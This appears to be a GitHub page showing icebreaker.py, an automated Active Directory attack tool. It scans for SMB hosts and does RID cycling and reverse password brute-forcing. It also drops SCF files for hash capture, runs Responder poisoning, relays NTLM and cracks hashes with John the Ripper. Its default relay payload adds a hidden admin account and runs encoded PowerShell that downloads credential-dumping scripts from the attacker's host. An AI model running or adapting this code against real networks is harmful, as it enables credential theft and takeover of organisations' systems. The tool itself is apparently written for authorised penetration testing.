-
Notifications
You must be signed in to change notification settings - Fork 160
/
icebreaker.py
executable file
·1605 lines (1338 loc) · 52.2 KB
/
icebreaker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import os
import sys
import time
import base64
import string
import signal
import random
import asyncio
import libtmux
import requests
import argparse
import netifaces
import http.server
import socketserver
from threading import Thread
from datetime import datetime
from termcolor import colored
from libnmap.process import NmapProcess
from asyncio.subprocess import PIPE, STDOUT
from netaddr import IPNetwork, AddrFormatError
from subprocess import Popen, PIPE, CalledProcessError
from libnmap.parser import NmapParser, NmapParserException
from http.server import HTTPServer as BaseHTTPServer, SimpleHTTPRequestHandler
# Debug
from IPython import embed
# Disable the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Prevent JTR error in VMWare
os.environ['CPUID_DISABLE'] = '1'
def parse_args():
# Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-l", "--hostlist", help="Host list file")
parser.add_argument("-x", "--xml", help="Path to Nmap XML file")
parser.add_argument("-p", "--password-list", help="Path to password list file for attack 1's reverse bruteforce")
parser.add_argument("-s", "--skip", default='', help="Skip [rid/scf/responder/ntlmrelay/dns/crack] where the first 5 options correspond to attacks 1-5")
parser.add_argument("-t", "--time", default='10', help="Number of minutes to run the LLMNR/Responder attack; defaults to 10m")
parser.add_argument("-i", "--interface", help="Interface to use with Responder")
parser.add_argument("-c", "--command", help="Remote command to run upon successful NTLM relay")
parser.add_argument("-d", "--domain", help="Domain to use with theHarvester to gather usernames for reverse bruteforce, e.g., google.com")
parser.add_argument("--port", type=int, default=443, help="Port to run the webserver on; the webserver serves Mimikatz and PowerDump in attack 4 and 5")
parser.add_argument("--auto", help="Start up Empire and DeathStar to automatically get domain admin using [xterm/tmux], defaults to tmux, e.g., --auto xterm")
return parser.parse_args()
# Colored terminal output
def print_bad(msg):
print(colored('[-] ', 'red') + msg)
def print_info(msg):
print(colored('[*] ', 'blue') + msg)
def print_good(msg):
print(colored('[+] ', 'green') + msg)
def print_great(msg):
print(colored('[!] {}'.format(msg), 'yellow', attrs=['bold']))
def parse_nmap(args):
'''
Either performs an Nmap scan or parses an Nmap xml file
Will either return the parsed report or exit script
'''
if args.xml:
try:
report = NmapParser.parse_fromfile(args.xml)
except FileNotFoundError:
print_bad('Host file not found: {}'.format(args.xml))
sys.exit()
elif args.hostlist:
hosts = []
with open(args.hostlist, 'r') as hostlist:
host_lines = hostlist.readlines()
for line in host_lines:
line = line.strip()
try:
if '/' in line:
hosts += [str(ip) for ip in IPNetwork(line)]
elif '*' in line:
print_bad('CIDR notation only in the host list, e.g. 10.0.0.0/24')
sys.exit()
else:
hosts.append(line)
except (OSError, AddrFormatError):
print_bad('Error importing host list file. Are you sure you chose the right file?')
sys.exit()
report = nmap_scan(hosts)
else:
print_bad('Use the "-x [path/to/nmap-output.xml]" option if you already have an Nmap XML file \
or "-l [hostlist.txt]" option to run an Nmap scan with a hostlist file.')
sys.exit()
return report
def nmap_scan(hosts):
'''
Do Nmap scan
'''
nmap_args = '-sS --script smb-security-mode,smb-enum-shares -n --max-retries 5 -p 445,3268 -oA icebreaker-scan'
nmap_proc = NmapProcess(targets=hosts, options=nmap_args, safe_mode=False)
rc = nmap_proc.sudo_run_background()
nmap_status_printer(nmap_proc)
report = NmapParser.parse_fromfile(os.getcwd()+'/icebreaker-scan.xml')
return report
def nmap_status_printer(nmap_proc):
'''
Prints that Nmap is running
'''
i = -1
x = -.5
while nmap_proc.is_running():
i += 1
# Every 30 seconds print that Nmap is still running
if i % 30 == 0:
x += .5
print_info("Nmap running: {} min".format(str(x)))
time.sleep(1)
if nmap_proc.rc != 0:
print_bad(nmap_proc.stderr)
sys.exit()
def run_nse_scripts(args, hosts):
'''
Run NSE scripts if they weren't run in supplied Nmap XML file
'''
host_ips = []
if len(hosts) > 0:
for h in hosts:
host_ips.append(h.address)
print_info("Running missing NSE scripts")
report = nmap_scan(host_ips)
new_hosts, DCs = get_hosts(args, report)
return new_hosts, DCs
else:
print_bad('No hosts found')
sys.exit()
def get_share(l, share):
'''
Gets the share from Nmap output line
e.g., \\\\192.168.1.10\\Pictures
'''
if l.startswith(' \\\\'):
share = l.strip()[:-1]
return share
def parse_nse(hosts, args, iface):
'''
Parse NSE script output
'''
smb_signing_disabled_hosts = []
anon_share_found = False
if 'scf' not in args.skip.lower():
print()
print_info('Attack 2: SCF file upload to anonymously writeable shares for hash collection')
for host in hosts:
ip = host.address
# Get SMB signing data
for script_out in host.scripts_results:
if script_out['id'] == 'smb-security-mode':
if 'message_signing: disabled' in script_out['output']:
smb_signing_disabled_hosts.append(ip)
# ATTACK 2: SCF file upload for hash capture
if 'scf' not in args.skip.lower():
if script_out['id'] == 'smb-enum-shares':
lines = script_out['output'].splitlines()
anon_share_found = write_scf_files(lines, ip, args, anon_share_found, iface)
local_scf_cleanup()
if 'scf' not in args.skip.lower():
if anon_share_found == False:
print_bad('No anonymously writeable shares found')
if len(smb_signing_disabled_hosts) > 0:
old_lines = None
filename = 'smb-signing-disabled-hosts.txt'
if os.path.isfile(filename):
f = open(filename, 'r')
old_lines = f.readlines()
f.close()
for host in smb_signing_disabled_hosts:
host = host + '\n'
# Slow, fix file write later
if old_lines:
if host not in old_lines:
write_to_file(filename, host, 'a+')
else:
write_to_file(filename, host, 'a+')
return True
else:
return False
def run_smbclient(server, share_name, action, scf_filepath):
'''
Run's impacket's smbclient.py for scf file attack
'''
smb_cmds_filename = 'smb-cmds.txt'
smb_cmds_data = 'use {}\n{} {}\nls\nexit'.format(share_name, action, scf_filepath)
write_to_file(smb_cmds_filename, smb_cmds_data, 'w+')
smbclient_cmd = 'python2 {}/submodules/impacket/examples/smbclient.py {} -f {}'.format(os.getcwd(), server, smb_cmds_filename)
print_info("Running '{}' with the verb '{}'".format(smbclient_cmd, action))
stdout, stderr = Popen(smbclient_cmd.split(), stdout=PIPE, stderr=PIPE).communicate()
return stdout, stderr
def write_scf_files(lines, ip, args, anon_share_found, iface):
'''
Writes SCF files to writeable shares based on Nmap smb-enum-shares output
'''
# lines = just all the nmap script output for one host
share = None
shares_written_to = []
scf_filepath = create_scf(iface)
for l in lines:
share = get_share(l, share)
if share:
share_folder = share.split('\\')[-1]
if 'Anonymous access:' in l or 'Current user access:' in l:
access = l.split()[-1].strip()
if access == 'READ/WRITE' and share not in shares_written_to:
if '$' not in share:
# We only want to check if a single anon share is found
# for later "no anon shares found" msg
if anon_share_found == False:
anon_share_found = True
print_good('Writeable share found at: '+share)
print_info('Attempting to write SCF file to share')
action = 'put'
stdout, stderr = run_smbclient(ip, share_folder, action, scf_filepath)
stdout = stdout.decode('utf-8')
err_strings = ['Error:', 'Errno']
if not any(x in stdout for x in err_strings) and len(stdout) > 1:
print_good('Successfully wrote SCF file to: {}'.format(share))
write_to_file('logs/shares-with-SCF.txt', share + '\n', 'a+')
shares_written_to.append(share)
else:
stdout_lines = stdout.splitlines()
for line in stdout_lines:
if 'Error:' in line:
print_bad('Error writing SCF file: \n '+line.strip())
return anon_share_found
def create_scf(iface):
'''
Creates scf file and smbclient.py commands file
'''
scf_filename = '@local.scf'
if not os.path.isfile(scf_filename):
scf_data = '[Shell]\r\nCommand=2\r\nIconFile=\\\\{}\\file.ico\r\n[Taskbar]\r\nCommand=ToggleDesktop'.format(get_local_ip(iface))
write_to_file(scf_filename, scf_data, 'w+')
cwd = os.getcwd()+'/'
scf_filepath = cwd+scf_filename
return scf_filepath
def local_scf_cleanup():
'''
Removes local SCF file and SMB commands file
'''
timestamp = str(time.time())
scf_file = '@local.scf'
smb_cmds_file = 'smb-cmds.txt'
shares_file = 'logs/shares-with-SCF.txt'
if os.path.isfile(scf_file):
os.remove('@local.scf')
if os.path.isfile(smb_cmds_file):
os.remove('smb-cmds.txt')
if os.path.isfile(shares_file):
os.rename(shares_file, shares_file+'-'+timestamp)
def get_hosts(args, report):
'''
Gets list of hosts with port 445 or 3268 (to find the DC) open
and a list of hosts with smb signing disabled
'''
hosts = []
DCs = []
print_info('Parsing hosts')
for host in report.hosts:
if host.is_up():
# Get open services
for s in host.services:
if s.port == 445:
if s.state == 'open':
if host not in hosts:
hosts.append(host)
elif s.port == 3268:
if s.state == 'open':
if host not in DCs:
DCs.append(host)
if len(hosts) == 0:
print_bad('No hosts with port 445 open')
sys.exit()
return hosts, DCs
@asyncio.coroutine
def get_output(cmd):
'''
Performs async OS commands
'''
p = yield from asyncio.create_subprocess_shell(cmd, stdout=PIPE, stderr=PIPE)
# Output returns in byte string so we decode to utf8
out = (yield from p.communicate())[0].decode('utf8')
return out
def async_get_outputs(loop, commands):
'''
Asynchronously run commands and get get their output in a list
Runs commands in a pool of 10 workers
'''
output = []
coros = []
if len(commands) == 0:
return output
# Get commands output in parallel
worker_count = len(commands)
if worker_count > 10:
worker_count = 10
# Pool of 10 workers
if len(commands) > 0:
while len(commands) > 0:
for i in range(worker_count):
# Prevents crash if [commands] isn't divisible by worker count
if len(commands) > 0:
cmd = commands.pop()
coros.append(get_output(cmd))
# Curiously, tons of the output is None here even though its never None in get_output(cmd)
output += loop.run_until_complete(asyncio.gather(*coros))
return output
def coros_pool(worker_count, commands):
'''
A pool without a pool library
'''
coros = []
if len(commands) > 0:
while len(commands) > 0:
for i in range(worker_count):
# Prevents crash if [commands] isn't divisible by worker count
if len(commands) > 0:
cmd = commands.pop()
coros.append(get_output(cmd))
def create_cmds(hosts, cmd):
'''
Creates the list of comands to run
cmd looks likes "echo {} && rpcclient ... {}"
'''
commands = []
for host in hosts:
# Most of the time host will be Nmap object but in case of null_sess_hosts
# it will be a list of strings (ips)
if type(host) is str:
ip = host
else:
ip = host.address
formatted_cmd = 'echo {} && '.format(ip) + cmd.format(ip)
commands.append(formatted_cmd)
return commands
def get_null_sess_hosts(output):
'''
Gets a list of all hosts vulnerable to SMB null sessions
'''
null_sess_hosts = {}
# output is a list of rpcclient output
for out in output:
if out:
if 'Domain Name:' in out:
out = out.splitlines()
ip = out[0]
# Just get domain name
dom = out[1].split()[2]
# Just get domain SID
dom_sid = out[2].split()[2]
null_sess_hosts[ip] = (dom, dom_sid)
return null_sess_hosts
def get_AD_domains(null_sess_hosts):
'''
Prints the unique domains
'''
uniq_doms = []
for key,val in null_sess_hosts.items():
dom_name = val[0]
if dom_name not in uniq_doms:
uniq_doms.append(dom_name)
if len(uniq_doms) > 0:
for d in uniq_doms:
print_good('Domain found: ' + d)
return uniq_doms
def get_usernames(ridenum_output, prev_users):
'''
Gets usernames from ridenum output
ip_users is dict that contains username + IP info
prev_users is just a list of the usernames to prevent duplicate bruteforcing
'''
ip_users = {}
for host in ridenum_output:
out_lines = host.splitlines()
ip = out_lines[0]
for line in out_lines:
# No machine accounts
if 'Account name:' in line and "$" not in line:
user = line.split()[2].strip()
if user not in prev_users:
prev_users.append(user)
print_good('User found: ' + user)
if ip in ip_users:
ip_users[ip] += [user]
else:
ip_users[ip] = [user]
return ip_users, prev_users
def write_to_file(filename, data, write_type):
'''
Write data to disk
'''
with open(filename, write_type) as f:
f.write(data)
def create_brute_cmds(ip_users, passwords):
'''
Creates the bruteforce commands
ip_users = {ip:[user1,user2,user3]}
ip_users should already be unique and no in prev_users
'''
cmds = []
for ip in ip_users:
for user in ip_users[ip]:
for pw in passwords:
cmd = "echo {} && rpcclient -U \"{}%{}\" {} -c 'exit'".format(ip, user, pw, ip)
# This is so when you get the output from the coros
# you get the username and pw too
cmd2 = "echo '{}' ".format(cmd)+cmd
# This replaces the echo'd command with extra slashes so Python doesn't interpret
# the DOM\user string as a special char (\a,\b,\f,\n,\r,\t,\v)
# These chars get printed as stuff like LAB\x08ob instead of LAB\bob
cmd2 = cmd2.replace('\\','\\\\',1)
cmds.append(cmd2)
return cmds
def log_users(user):
'''
Writes users found to log file
'''
with open('found-users.txt', 'a+') as f:
f.write(user+'\n')
def create_passwords(args):
'''
Creates the passwords based on default AD requirements
or user-defined values
'''
if args.password_list:
with open(args.password_list, 'r') as f:
# We have to be careful with .strip()
# because password could contain a space
passwords = [line.replace('\n', '') for line in f]
else:
season_pw = create_season_pw()
other_pw = "P@ssw0rd"
passwords = [season_pw, other_pw]
return passwords
def create_season_pw():
'''
Turn the date into the season + the year
'''
# Get the current day of the year
doy = datetime.today().timetuple().tm_yday
year = str(datetime.today().year)
spring = range(80, 172)
summer = range(172, 264)
fall = range(264, 355)
# winter = everything else
if doy in spring:
season = 'Spring'
elif doy in summer:
season = 'Summer'
elif doy in fall:
season = 'Fall'
else:
season = 'Winter'
season_pw = season+year
return season_pw
def parse_brute_output(brute_output, prev_creds):
'''
Parse the chunk of rpcclient attempted logins
'''
# prev_creds = ['ip\user:password', 'SMBv2-NTLMv2-SSP-1.2.3.4.txt']
pw_found = False
for line in brute_output:
# gathering the coroutines leads to tons of None in output
if line:
# Missing second line of output means we have a hit
if len(line.splitlines()) == 1:
pw_found = True
split = line.split()
ip = split[1]
dom_user_pwd = split[5].replace('"','').replace('%',':')
if dom_user_pwd not in prev_creds:
prev_creds.append(dom_user_pwd)
host_dom_user_pwd = ip+'\\'+dom_user_pwd
duplicate = check_found_passwords(dom_user_pwd)
if duplicate == False:
# if its an AD account just print the AD creds
if '\\' in dom_user_pwd:
print_great('Password found! '+dom_user_pwd)
# if it's a local account then print the IP and creds
else:
print_great('Password found! '+host_dom_user_pwd)
log_pwds([host_dom_user_pwd])
if pw_found == False:
print_bad('No reverse bruteforce password matches found')
return prev_creds
def smb_reverse_brute(loop, hosts, args, passwords, prev_creds, prev_users, DCs):
'''
Performs SMB reverse brute
'''
# {ip:'domain name: xxx', 'domain sid: xxx'}
null_sess_hosts = {}
ip_users = {}
domains = []
dom_cmd = 'rpcclient -U "" {} -N -c "lsaquery"'
dom_cmds = create_cmds(hosts, dom_cmd)
print()
print_info('Attack 1: RID cycling in null SMB sessions into reverse bruteforce')
print_info('Checking for null SMB sessions')
print_info('Example command that will run: '+dom_cmds[0].split('&& ')[1])
rpc_output = async_get_outputs(loop, dom_cmds)
if rpc_output:
# {ip:'domain_name', 'domain_sid'}
null_sess_hosts = get_null_sess_hosts(rpc_output)
# Create master list of null session hosts
if len(null_sess_hosts) == 0:
print_bad('No null SMB sessions available')
else:
null_hosts = []
for ip in null_sess_hosts:
print_good('Null session found: {}'.format(ip))
null_hosts.append(ip)
domains = get_AD_domains(null_sess_hosts)
# Gather usernames using ridenum.py
ridenum_output = do_ridenum(loop, null_hosts)
# ip_users = {ip:[username, username2], ip2:[username, username2]}
ip_users, prev_users = get_usernames(ridenum_output, prev_users)
if len(ip_users) == 0:
print_bad('No usernames found through null SMB session')
# Do theHarvester for username collection
if args.domain:
print_info('Attempting to scrape usernames from {}'.format(args.domain))
ip_users, prev_users = run_theHarvester(ip_users, prev_users, null_sess_hosts, args.domain, hosts[0].address, DCs)
if len(ip_users) > 0:
# Creates a list of unique commands which only tests
# each username/password combo 2 times and not more
brute_cmds = create_brute_cmds(ip_users, passwords)
rev_brute_msgs(ip_users, args, passwords)
brute_output = async_get_outputs(loop, brute_cmds)
prev_creds = parse_brute_output(brute_output, prev_creds)
return prev_creds, prev_users, domains
def do_ridenum(loop, null_hosts):
'''
Runs and gathers the output from ridenum
'''
print_info('Checking for usernames. This may take a bit...')
ridenum_cmd = 'python2 '+os.getcwd()+'/submodules/ridenum/ridenum.py {} 500 50000 | tee -a logs/ridenum.log'
ridenum_cmds = create_cmds(null_hosts, ridenum_cmd)
print_info('Example command that will run: '+ridenum_cmds[0].split('&& ')[1])
ridenum_output = async_get_outputs(loop, ridenum_cmds)
return ridenum_output
def rev_brute_msgs(ip_users, args, passwords):
'''
Messages printed to output about details of reverse bruteforce
'''
rev_brute_msg = 'Reverse bruteforcing with the passwords '
if args.password_list:
print_info(rev_brute_msg + 'in {}'.format(args.password))
else:
print_info(rev_brute_msg + '{} and {}'.format(passwords[0], passwords[1]))
print_info('Testing users against one of the following IPs:'.format(args.password_list))
for ip in ip_users:
print_info(' {}'.format(ip))
def run_theHarvester(ip_users, prev_users, null_sess_hosts, domain, host, DCs):
'''
Run theHarvester to collect more potential usernames
'''
users = []
cmd = 'python2 {}/submodules/theHarvester/theHarvester.py -d {} -b all'.format(domain, os.getcwd())
rid_users = False
unallowed_AD_chars = ['/','\\','[',']',':',';','|','=','+','*','?','<','>','"','@']
if len(ip_users) > 0:
rid_users = True
proc = run_proc(cmd)
proc.wait()
with open('logs/theHarvester.py.log', 'r') as f:
lines = f.readlines()
for l in lines:
if '@' in l and '[email protected]' not in l:
user = l.split('@')[0]
# make sure no unallowed AD username character is in the web scraped user
if any(char in unallowed_AD_chars for char in user):
continue
# Max SAM-Account-Name length is 20
if len(user) > 20:
continue
if user not in prev_users:
prev_users.append(user)
users.append(user)
print_good('Potential user found: {}'.format(user))
# First check if we ID'd any DCs
# If so, brute one because they don't require knowledge of the domain name
if len(DCs) > 0:
# Just grab the first DC we found
# Ideally we'd run this against every DC with a different domain but
# hard to make that work without prior knowledge of what the domains are named
ip = DCs[0].address
if ip_users.get(ip):
ip_users[ip].append(user)
else:
ip_users[ip] = [user]
# If we have AD domains found but no DCs, use them so user = DOM\user
elif len(null_sess_hosts) > 0:
for key,val in null_sess_hosts.items():
ip = key
dom = val[0]
dom_user = dom+'\\'+user
# This is where we're preventing duplicates in case there's lots of null sess hosts
if dom_user not in prev_users:
prev_users.append(user)
if ip_users.get(ip):
ip_users[ip].append(dom_user)
else:
ip_users[ip] = [dom_user]
# No null session hosts found, no DCs found
# Just use the first host with port 445 open
else:
if ip_users.get(host):
ip_users[host].append(user)
else:
ip_users[host] = [user]
if len(users) == 0:
print_bad('No potential usernames found on {}'.format(args.domain))
return ip_users, prev_users
def log_pwds(host_user_pwds):
'''
Turns SMB password data {ip:[usrr_pw, user2_pw]} into a string
'''
for host_user_pwd in host_user_pwds:
line = host_user_pwd+'\n'
write_to_file('found-passwords.txt', line, 'a+')
def edit_responder_conf(switch, protocols):
'''
Edit responder.conf
'''
if switch == 'On':
opp_switch = 'Off'
else:
opp_switch = 'On'
conf = 'submodules/Responder/Responder.conf'
with open(conf, 'r') as f:
filedata = f.read()
for p in protocols:
# Make sure the change we're making is necessary
if re.search(p+' = '+opp_switch, filedata):
filedata = filedata.replace(p+' = '+opp_switch, p+' = '+switch)
with open(conf, 'w') as f:
f.write(filedata)
def get_iface():
'''
Gets the right interface for Responder
'''
try:
iface = netifaces.gateways()['default'][netifaces.AF_INET][1]
except:
ifaces = []
for iface in netifaces.interfaces():
# list of ipv4 addrinfo dicts
ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])
for entry in ipv4s:
addr = entry.get('addr')
if not addr:
continue
if not (iface.startswith('lo') or addr.startswith('127.')):
ifaces.append(iface)
iface = ifaces[0]
return iface
def get_local_ip(iface):
'''
Gets the the local IP of an interface
'''
ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']
return ip
def run_proc(cmd):
'''
Runs single commands
ntlmrelayx needs the -c "powershell ... ..." cmd to be one arg tho
'''
# Set up ntlmrelayx commands
# only ntlmrelayx has a " in it
dquote_split = cmd.split('"')
if len(dquote_split) > 1:
cmd_split = dquote_split[0].split()
ntlmrelayx_remote_cmd = dquote_split[1]
cmd_split.append(ntlmrelayx_remote_cmd)
else:
cmd_split = cmd.split()
# mitm6 cmd is 'mitm6' with no options
if 'mitm6' in cmd_split:
filename = cmd_split[0] + '.log'
else:
for x in cmd_split:
if 'submodules/' in x:
filename = x.split('/')[-1] + '.log'
break
print_info('Running: {}'.format(cmd))
f = open('logs/'+filename, 'a+')
proc = Popen(cmd_split, stdout=f, stderr=STDOUT)
return proc
def create_john_cmd(hash_format, hash_file):
'''
Create JohnTheRipper command
'''
#./john --format=<format> --wordlist=<path> --rules <hashfile>
cmd = []
path = 'submodules/JohnTheRipper/run/john'
cmd.append(path)
form = '--format={}'.format(hash_format)
cmd.append(form)
wordlist = '--wordlist=1mil-AD-passwords.txt'
cmd.append(wordlist)
#cmd.append('--rules')
cmd.append(hash_file)
identifier = hash_file.split('-')[-1].split('.')[0]
cmd.append('--session={}'.format(identifier))
john_cmd = ' '.join(cmd)
return john_cmd
def crack_hashes(hashes):
'''
Crack hashes with john
The hashes in the func args include usernames, domains, and such
hashes = {'NTLMv1':[hash1,hash2], 'NTLMv2':[hash1,hash2]}
'''
procs = []
identifier = ''.join(random.choice(string.ascii_letters) for x in range(7))
hash_folder = os.getcwd()+'/hashes'
if not os.path.isdir(hash_folder):
os.mkdir(hash_folder)
if len(hashes) > 0:
for hash_type in hashes:
filepath = hash_folder+'/{}-hashes-{}.txt'.format(hash_type, identifier)
for h in hashes[hash_type]:
write_to_file(filepath, h, 'a+')
# Limit hash cracking to 10 instances of JTR at a time
num_john_procs = get_running_john_procs()
if num_john_procs > 10:
continue
if 'v1' in hash_type:
hash_format = 'netntlm'
elif 'v2' in hash_type:
hash_format = 'netntlmv2'
john_cmd = create_john_cmd(hash_format, filepath)
john_proc = run_proc(john_cmd)
procs.append(john_proc)
return procs
def get_running_john_procs():
'''
Gets number of currently running john procs
'''
num_john_procs = 0
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
proc_cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read().decode('utf8')
proc_cmd = proc_cmd.replace('\x00',' ')
if 'submodules/JohnTheRipper/run/john --format=netntlm' in proc_cmd:
num_john_procs += 1
# proc has already terminated
except IOError:
continue
return num_john_procs
def parse_john_show(out, prev_creds):
'''
Parses "john --show output"
'''
for line in out.splitlines():
line = line.decode('utf8')
line = line.split(':')
if len(line) > 3:
user = line[0]
# No machine accounts
if user.endswith('$'):
continue
pw = line[1]
host = line[2]
host_user_pwd = host+'\\'+user+':'+pw
if host_user_pwd not in prev_creds:
prev_creds.append(host_user_pwd)
duplicate = check_found_passwords(host_user_pwd)
if duplicate == False:
print_great('Password found! '+host_user_pwd)
log_pwds([host_user_pwd])
return prev_creds
def get_cracked_pwds(prev_creds):
'''
Check for new cracked passwords
'''
hash_folder = os.getcwd()+'/hashes'
if os.path.isdir(hash_folder):
dir_contents = os.listdir(os.getcwd()+'/hashes')
for x in dir_contents:
if re.search('NTLMv(1|2)-hashes-.*\.txt', x):
out, err = Popen('submodules/JohnTheRipper/run/john --show hashes/{}'.format(x).split(), stdout=PIPE, stderr=PIPE).communicate()
if err:
print_bad('Error getting cracked hashes: {}'.format(err))
prev_creds = parse_john_show(out, prev_creds)
return prev_creds
def check_found_passwords(host_user_pwd):
'''
Checks found-passwords.txt to prevent duplication
'''
fname = 'found-passwords.txt'
if os.path.isfile(fname):
with open(fname, 'r') as f:
data = f.read()
if host_user_pwd in data:
return True
return False
def start_responder_llmnr(iface):
'''
Start Responder alone for LLMNR attack
'''
edit_responder_conf('On', ['HTTP', 'SMB'])
resp_cmd = 'python2 {}/submodules/Responder/Responder.py -wrd -I {}'.format(os.getcwd(), iface)
resp_proc = run_proc(resp_cmd)
print_info('Responder-Session.log:')
return resp_proc
def run_relay_attack(iface, args):
'''
Start ntlmrelayx for ntlm relaying
'''
edit_responder_conf('Off', ['HTTP', 'SMB'])
resp_cmd = 'python2 {}/submodules/Responder/Responder.py -wrd -I {}'.format(os.getcwd(), iface)
resp_proc = run_proc(resp_cmd)
if args.command:
remote_cmd = args.command
elif args.auto:
remote_cmd = run_empire_deathstar(iface, args)
else:
local_ip = get_local_ip(iface)
text_cmd = "net user /add icebreaker P@ssword123456; net localgroup administrators icebreaker /add; IEX (New-Object Net.WebClient).DownloadString('http://{}:{}/Invoke-Cats.ps1'); Invoke-Cats -pwds; IEX (New-Object Net.WebClient).DownloadString('http://{}:{}/Invoke-Pwds.ps1'); Invoke-Pwds".format(local_ip, str(args.port), local_ip, str(args.port))
enc_cmd = encode_for_ps(text_cmd)
remote_cmd = 'powershell -nop -exec bypass -w hidden -enc {}'.format(enc_cmd)
if os.path.isfile('smb-signing-disabled-hosts.txt'):
signing_disabled = ' -tf smb-signing-disabled-hosts.txt'
else:
signing_disabled = ''
# I'm aware this can be more elegant but I don't feel like doing it right now (send PRs)
if args.command == 'default':
relay_cmd = ('python2 {}/submodules/impacket/examples/ntlmrelayx.py -6 -wh Proxy-Service'
' -of hashes/ntlmrelay-hashes{} -wa 3'.format(os.getcwd(), signing_disabled))
else:
relay_cmd = ('python2 {}/submodules/impacket/examples/ntlmrelayx.py -6 -wh Proxy-Service'
' -of hashes/ntlmrelay-hashes{} -wa 3 -c "{}"'.format(os.getcwd(), signing_disabled, remote_cmd))
ntlmrelay_proc = run_proc(relay_cmd)
return resp_proc, ntlmrelay_proc